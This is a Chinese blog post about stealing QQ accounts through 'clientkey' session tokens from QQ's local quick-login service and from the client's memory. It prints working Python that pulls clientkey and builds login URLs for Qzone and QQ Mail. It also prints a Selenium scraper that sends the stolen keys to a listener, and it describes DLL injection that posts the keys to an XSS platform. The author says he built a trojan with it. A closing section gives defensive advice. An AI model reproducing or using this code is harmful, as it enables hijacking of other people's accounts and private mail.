前言 本人在14年时就对盗号的路子有些研究,因为那时很喜欢恶搞别人。而当时最简单的就是用易语言写的发信收信钓鱼软件,门槛极低。而本文并不是研究这种钓软或鱼站的原理,因为类似的这种手段都是诱骗鱼儿直接把账号密码送给别人,所以没什么好研究的,要再研究的话我个人觉得就要深入到心理学的方面了。那么这里研究的就是那种,我明明没有在哪里输入过QQ账号密码,但就是被别人控制了,甚至改密码后不一会又中招。这里讲到的,在没有泄露QQ账号密码,QQ却被玩弄于鼓掌的技术,我就简单地叫做QQkey利用。
QQkey 从名字不难看出QQkey到底是个什么东西。所谓QQkey就是QQ的一个临时密码,相当于第二把钥匙。有了它就有了QQ的大部分权限了。 这里再提到一个东西—Skey。这是本人接触的最早的关于QQkey利用的一个部分。 我们现在打开QQ空间登录QQ后可以看到cookie里边就有一个叫skey的键值对。 在14年,只要有了这个skey和对应的QQ号,就可以突破限制直接登录QQ空间。当时有一个人就写了一款skey突破利用工具,骗到了女神的skey,就可以干一些猥琐的事情。 至于思路就很多了。最简单的,可以用js获取cookie,也可以叫别人打开QQ空间的小助手然后把检测内容发你,内容里边就包含了cookie。 本人当时就很想研究其中的原理,然后写一个属于自己的木马。但限于技术水平就耽搁下来了。 到现在,这个方法早就失效了。但跟前面提到的,skey只属于qqkey的一部分,所以真正的毒瘤不是skey,而是clientkey。
Clientkey 可以说,clientkey的别名就是qqkey,它比skey权限更大,可以干更多的事情。 现在就说说为什么存在这东西吧。我们都知道腾讯有一个快速登录的功能,在登录腾讯的网页产品时使用快速登录就不用输入账号密码了。那么设计这样一个不用输入账号密码就可以登录的功能,是为了快速安全还是为了快速方便呢? 首先快速登录功能的前提就是在电脑上登录了QQ,在设计这个功能时要考虑的就是web端如何与本地QQ进行通信以便获取电脑上登录的QQ。 在最初时腾讯是使用Activex控件来获取电脑上登录的QQ,但是必须要浏览器启用控件才行,而且ie默认是禁用Activex控件的,所以适用性不是很强。 后来腾讯改用在本地建立一个httpd服务来进行通信,也就是说QQ应用程序自带了一个小型的web服务。 我们打开一个快速登录,F12查看网络监视器,可以看到一个这样的包。 看到远程地址是指向了本地。然后发现本地确实在监听4301端口。 响应里边包含了本机登录QQ号的一些信息。
1 var var_sso_uin_list=[{"uin" :QQ号,"face_index" :0 ,"gender" :2 ,"nickname" :"登录QQ号的名称" ,"client_type" :65793 ,"uin_flag" :55083590 ,"account" :QQ号}];ptui_getuins_CB(var_sso_uin_list);
接下来点击头像进行快速登录,继续观察网络连接状况。 发现再次请求了本地并返回cookies。 cookie里就包含了clientkey,然后会有一个跳转。 这个跳转响应中包含了许多的cookie并且返回了一个url,直接访问这个url即可等登录到目标站点。
1 ptui_qlogin_CB('0' , 'https://ptlogin2.buluo.qq.com/check_sig?pttype=2&uin=948375961&service=jump&nodirect=0&ptsigx=c0dd7***省略***8393441c77b1&s_url=https%3A%2F%2Fbuluo.qq.com%2F&f_url=&ptlang=2052&ptredirect=100&aid=1000101&daid=371&j_later=0&low_login_hour=0®master=0&pt_login_type=2&pt_aid=715030901&pt_aaid=0&pt_light=0&pt_3rd_aid=0' , '' )
我们理一下这个快速登录过程。 首先是第一次访问本地,获取到了本地登录的QQ号,而第二次是携带QQ号去访问本地,就可以获取到对应QQ号的clientkey,这时带着clientkey和对应QQ号去请求腾讯的这个跳转页面,就可以登录到跳转的目标站点。 所以这个跳转就是clientkey的一个认证,通过了就可以帮你登录到目标站点。那么,我们只要拿到QQ号和对应的clientkey就可以通过这个认证跳转去登录腾讯的许多站点以及带有QQ登录的一些站点。而skey只能登录QQ空间。。。 为了验证这个说法,我测试了QQ空间的快速登录,把带着clientkey去请求得到的url发给朋友。然后朋友就进了我的QQ空间,为了测试权限,我的空间就多了一条“大傻逼”的说说。。。我尝试退出QQ客户端,但是链接仍然有效,我还没测试出让它失效的方法,网友都说改密码才行。
接下来我们就去复现它。 说实话复现这个并不难,只要模拟会话访问就可以了。。。 这里贴一份github上的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import requestsimport reclass QQLogin : def __init__ (self ): self.session = None self.headers = { 'Host' : 'localhost.ptlogin2.qq.com:' , 'Connection' : 'keep-alive' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36' , 'Accept' : '*/*' , 'Referer' : 'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=0' , 'Accept-Encoding' : 'gzip, deflate, br' , 'Accept-Language' : 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7' , } self.port = None self.qqnumber = None self.nickname = None ''' Get QQ account @return true for get success ''' def GetAccount (self ): self.session = requests.Session() self.session.cookies.set ('pt_local_token' ,'1234567890' , domain='ptlogin2.qq.com' ) ret = False for self.port in range (4300 , 4309 ): try : self.headers['Host' ] = 'localhost.ptlogin2.qq.com:' + str (self.port) req = self.session.get('https://localhost.ptlogin2.qq.com:' +str (self.port) + '/pt_get_uins?callback=ptui_getuins_CB&r=0.9899515903716838&pt_local_tk=' + self.session.cookies['pt_local_token' ], headers=self.headers) self.qqnumber = re.search(r'uin":"([0-9]*)"' , req.text).group(1 ) self.nickname = re.search(r'nickname":"(.*?)"' , req.text).group(1 ) self.session.get('https://localhost.ptlogin2.qq.com:' +str (self.port)+'/pt_get_st?clientuin=' +self.qqnumber + '&callback=ptui_getst_CB&r=0.9899515903716838&pt_local_tk=' +self.session.cookies['pt_local_token' ], headers=self.headers) ret = True break except : continue return ret ''' Get qzone login key @return login key, None for error ''' def LoginQzone (self ): return self.__Login('pt_aid=549000912&daid=5&u1=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone' ) ''' Get qmail login key @return login key, None for error ''' def LoginQmail (self ): return self.__Login('pt_aid=522005705&daid=4&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Freadtemplate%3Fcheck%3Dfalse%26t%3Dloginpage_new_jump%26vt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D' ) ''' Universe login method ''' def __Login (self,url ): try : self.session.get('https://localhost.ptlogin2.qq.com:' +str (self.port)+'/pt_get_st?clientuin=' +self.qqnumber + '&callback=ptui_getst_CB&r=0.9899515903716838&pt_local_tk=' +self.session.cookies['pt_local_token' ], headers=self.headers) self.headers['Host' ] = 'ssl.ptlogin2.qq.com' req = self.session.get('https://ssl.ptlogin2.qq.com/jump?clientuin=' +self.qqnumber + '&keyindex=9&' +url+'&pt_local_tk=' +self.session.cookies['pt_local_token' ]+'&pt_3rd_aid=0&ptopt=1&style=40' , headers=self.headers) return re.search(r"_CB\('0', '(.*?)'" , req.text).group(1 ) except : return None if __name__ == '__main__' : obj = QQLogin() obj.GetAccount() print('QQKey:' + obj.session.cookies.get_dict()['clientkey' ]+'\n' ) print('Cookie: ' + ('; ' .join(['=' .join(item) for item in obj.session.cookies.get_dict().items()]))) if (input ('Auto get url?(y/n)' )=='y' ): print('Qzone:' ) print(obj.LoginQzone()) print('Qmail:' ) print(obj.LoginQmail())
这里说几点:
第一次访问本地的pt_local_tk参数需要和cookie中的pt_local_token相同
请求本地时要带有 https://xui.ptlogin2.qq.com/ 这个域的Referer
本地QQ监听的端口是4300-4308,因为端口有可能被占用,然后奇数说明是https,而偶数则是http,但现在腾讯已经不用http了,所以我前面抓到的包是4301端口
好了,现在是不是很兴奋想去制作自己的盗号木马了。 然而在19年年底腾讯已经做出了限制。这个方法已经不适用了。本人在做复现时,网上的脚本全部都跑不了。用postman做模拟请求时,一个一模一样的包发送过去没有响应。抓包工具一开,快速登录就失效。后来在一篇文章中了解到腾讯在QQProtect.dll中加入了来源检测,也不说具体是什么。跟别人聊一下又说有HTTP双向认证,TLS指纹,证书锁定,以目前技术水平真过不了,而且还不确定是哪种限制。 但我仍然写了一个爬虫,用selenium来模拟浏览器访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from selenium import webdriverimport requestsimport timeoptions = webdriver.ChromeOptions() options.add_argument('--headless' ) options.add_argument('--disable-gpu' ) options.add_argument('log-level=3' ) browser = webdriver.Chrome(chrome_options=options,executable_path='chromedriver.exe' ) browser.get( "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F" ) pt_local_token = browser.get_cookie("pt_local_token" )['value' ] qqnumber = browser.find_element_by_css_selector("#qlogin_list > a.face" ).get_attribute("uin" ) browser.execute_script( 'window.location.href="https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin={}&callback=ptui_getst_CB&r=0.4266647630782271&pt_local_tk={}"' .format ( qqnumber, pt_local_token)) clientuin = browser.get_cookie('clientuin' )['value' ] clientkey = browser.get_cookie('clientkey' )['value' ] browser.quit() browser.service.stop() requests.get("http://127.0.0.1:5000/?clientuin={}&clientkey={}" .format (clientuin,clientkey))
这里没有请求本地获取QQ号,而是直接访问QQ快速登录的面板,等它获取到后,通过css选择器去获取页面中的QQ号元素。 最后请求本地的5000端口是本人起了一个flask的web来接收结果。 然而这种方法弊端很大。如果要写成木马,就要有隐蔽性,本人用了pyinstaller打包时,费了不少劲才把调用浏览器的调试窗口给隐藏掉。但是当换一台机子运行就不行了,因为selenium要有对应版本的浏览器驱动,就算打包好,别人电脑也不一定对应版本的浏览器,所以这份代码适用性不强。
直接调用本地接口 虽然我们突破不了快速登陆的限制来获取clientkey,但是大佬们仍然还有别的路子—QQ应用程序中计算clientkey算法接口。 当我们从QQ面板进入QQ空间时也是不用密码的,如果细心一点可以发现,点击之后是经过一个跳转才登录QQ空间的。 登陆后的URL是这样的。
1 https://user.qzone.qq.com/QQ号/infocenter
我们在网址栏处按一下Ctrl+Z就可以得到跳转时的URL。
1 https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=948375961&clientkey=9868C3C*******42CEB7D30E7875&u1=https:%2F%2Fuser.qzone.qq.com%2F948375961%2Finfocenter&source=panelstar
clientkey又出现了,但是这个key和之前的不一样。 之前的key是224位的,这里出现的key是64位的。 这里码出两种key的利用方式。
1 2 http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=64位的KEY&u1=需要登陆的QQ服务网站地址 http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224位的KEY&keyindex=9&u1=需要登陆的QQ服务网站地址
他们的区别有什么,暂时还不知道,据说64位的key是权限最高的。 很明显64位的key就是在QQ的内存中。 直接贴出大佬的操作。 通过IDA附加定位到KernelUtil.dll中的?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z函数,至于怎么知道是这个大佬说已经忘了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2) { int v2; int v4; int v5; int v6; int v7; CTXStringW::CTXStringW(a1); v5 = 0 ; sub_55404A73(&v5); if ( v5 ) { v6 = 0 ; if ( (*(int (__stdcall **)(int , int , int *))(*(_DWORD *)v5 + 60 ))(v5, a2, &v6) >= 0 ) { v7 = 0 ; sub_5536126A(&v7, v6); v2 = Util::Encode::Encode16(&v4, &v7); CTXStringW::operator =(a1, v2); CTXStringW::~CTXStringW((CTXStringW *)&v4); if ( v7 ) (*(void (__stdcall **)(int ))(*(_DWORD *)v7 + 8 ))(v7); } sub_5540C87C(&v6); } sub_5540C87C(&v5); return a1; }
两个参数,a1指针应该是存放结果的缓存区,a2是传入参数的指针。 通过查看交叉引用发现有两个函数调用了它。
1 2 3 4 5 CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1) { Util::Misc::GetSignature(a1, (int )"buf32ByteValueAddedSignature" ); return a1; }
1 2 3 4 5 CTXStringW *__cdecl Util::Misc::GetValueSTHttp(CTXStringW *a1) { Util::Misc::GetSignature(a1, (int )"bufSTHttp" ); return a1; }
调用方式都是一样的,不同的就是一个传入buf32ByteValueAddedSignature,而另一个传入bufSTHttp。 很明显,32byte返回的是64位的key,而http的就是224位的key。 下面看看开源的一份利用模块,使用易语言编写的动态链接库,需要配合DLL注入器使用。 再提一下,获取QQ号的函数是?GetSelfUin@Contact@Util@@YAKXZ,利用方法大同小异,看一下如何获取clientkey就行了。 用注入器将DLL注入到QQ的进程空间并建立线程运行后,就可以取到KernelUtil的API函数地址,然后通过shellcode注入来调用函数。 写一个函数给线程运行,这里请求了XSS平台来接收结果。 编译出DLL,然后再写一下注入器。 做了个循环,如果没有QQ进程就10s检测一次,获取一次后就等一分钟再获取。 DLL和注入器同目录,用小号做了下测试。 本来只想研究一下,没想到就自己写了个木马出来-.- 只要木马没被杀,即使改了密码也能实时更新clientkey,就差个更狠点的自启动了。 但是这个木马还要带个DLL就不是很方便,然后在论坛找到了这个大佬整合的模块,于是把模块反编译看看怎么写的。 这个模块提供了许多方法。不仅仅有获取QQkey的,还有获取好友,Q群,后台发送消息等等,一些小白都可以写出功能齐全的QQ辅助。 先看看怎么写的。 初始化时就取好各个函数地址。 实际上这个模块只是再封装一次而已。
这个初始化时加载的常量是一个图片资源但并不是一张图片,结合加载和取函数方法都是一个叫PELoader的模块里的,可以确定这个常量实际是一个DLL,采用了内存DLL载入的方法。 将这个DLL导出后用PE工具查看一下输出表。 所以这个DLL才是实际的主角。。。 然后我又用Python写了一份DLL的调用。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from ctypes import *import psutildef GetPidByName (Name ): pids = psutil.process_iter() pidList = [] for pid in pids: if pid.name() == Name: pidList.append(pid.pid) return pidList Process_Name = "QQ.exe" QQ_Pids = GetPidByName(Process_Name) QQHelperDll = windll.LoadLibrary("QQHelperDLL.dll" ) qq = QQHelperDll.getClientSelfUin(QQ_Pids[0 ]) clientkey_p = c_char_p(QQHelperDll.getClientkey(QQ_Pids[0 ])) clientkey = clientkey_p.value.decode("utf8" ) print(clientkey) print("https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin={}&clientkey={}&u1=https://user.qzone.qq.com/{}/infocenter&source=panelstar" .format (qq,clientkey,qq))
运行后,输出了跳转url。
1 https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=948375961&clientkey=53AB0361A9**********27ED73509D180B8612664C21A&u1=https://user.qzone.qq.com/948375961/infocenter&source=panelstar
测试完美可用。。。 好了我要改密码了。。因为这意味着,这份DLL才是主角。而我已经没有精力去分析它的行为了。我根本不知道这份DLL的作者有没有在里面做些什么手脚。。。防人之心不可无,还是希望大家都是以学习为研究目的吧,不要做太多猥琐事,你搞我我搞你的。
结尾 到这里相信大家很清楚了,防止QQ被盗不仅是谨慎输入账号密码这么简单。可以看到,网上已经提供了能后台操作QQ,功能丰富的模块。通过种种技术,整合到许多软件中。 为什么去网吧打一把大逃杀之后steam账号就被盗?您细品 对于没中招的朋友,不要随意运行不明来源的软件。中了招的朋友,重启电脑后进行病毒查杀并排除可疑软件,及时修改密码。 本文以本人的菜鸡水平讲述,若有错漏,不谨慎的地方请联系本人修改。 最后说一句,易语言牛逼~